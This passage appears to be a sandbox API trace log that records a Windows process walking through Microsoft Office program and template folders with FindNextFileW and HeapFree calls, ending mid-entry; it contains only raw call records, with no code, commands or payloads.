[0067.371] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.371] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0067.372] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.372] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0067.372] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.372] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0067.372] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.372] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0067.372] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.372] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0067.373] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.373] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0067.373] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.373] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0067.373] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.373] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0067.373] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0067.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0067.382] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0067.382] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0067.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0067.388] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0067.393] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0067.393] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0068.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.637] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0068.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.638] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0068.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.638] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0068.639] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0068.639] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0068.641] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.641] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0068.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.649] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0068.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.649] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0068.650] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.650] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0068.651] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0068.651] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0068.986] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.224] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0069.224] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0069.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.226] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0069.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.229] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0069.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.231] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0069.240] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0069.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.243] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0069.243] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0069.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.244] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0069.298] HeapFree (hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8) [0069.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0069.298] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0069.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0069.659] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0069.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0069.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0069.661] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0069.662] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0069.662] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0069.663] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0069.663] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0069.663] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0069.663] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0069.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0069.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0069.666] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0069.666] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | 